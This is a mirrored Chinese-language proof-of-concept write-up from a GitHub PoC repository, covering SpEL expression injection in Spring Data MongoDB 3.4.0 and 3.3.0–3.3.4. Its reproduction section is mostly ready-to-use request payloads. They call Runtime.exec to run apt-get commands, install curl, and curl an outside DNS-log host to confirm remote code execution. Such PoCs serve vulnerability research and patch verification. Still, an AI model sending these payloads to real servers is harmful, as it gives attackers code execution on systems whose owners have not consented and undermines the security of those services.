mirror of
https://github.com/wooluo/POC00.git
synced 2026-03-18 02:54:51 +08:00
42 lines
1.4 KiB
Markdown
42 lines
1.4 KiB
Markdown
# Spring Data MongoDB SpEL表达式注入漏洞
|
||
|
||
# 一、漏洞描述
|
||
Spring官方发布了关于Spring Data MongoDB SpEL表达式注入漏洞的修复信息，当使用@Query或@Aggregation注解进行查询时，若通过SpEL表达式中形如“?0”的占位符来进行参数赋值，同时应用程序未对用户输入进行过滤处理，则可能受到SpEL表达式注入的影响，成功利用该漏洞的攻击者可在目标服务器上执行代码。
|
||
|
||
# 二、影响版本
|
||
Spring Data MongoDB == 3.4.0
|
||
|
||
3.3.0 <= Spring Data MongoDB <= 3.3.4
|
||
|
||
旧的、不受支持的版本也会受到影响
|
||
|
||
# 三、资产测绘
|
||
```plain
|
||
|
||
```
|
||
|
||
|
||
|
||
# 三、漏洞复现
|
||
```plain
|
||
#更新
|
||
/name=T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('apt-get update')
|
||
|
||
#下载curl
|
||
/name=T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('apt-get install -y curl')
|
||
```
|
||
|
||
执行curl dnslog
|
||
|
||
```plain
|
||
/?name=T(java.lang.String).forName(%27java.lang.Runtime%27).getRuntime().exec(%27curl%20hrnceuwsrl.iyhc.eu.org%27)
|
||
```
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
> 更新: 2024-11-27 10:04:43
|
||
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/dcbhf1pnmuar814k> |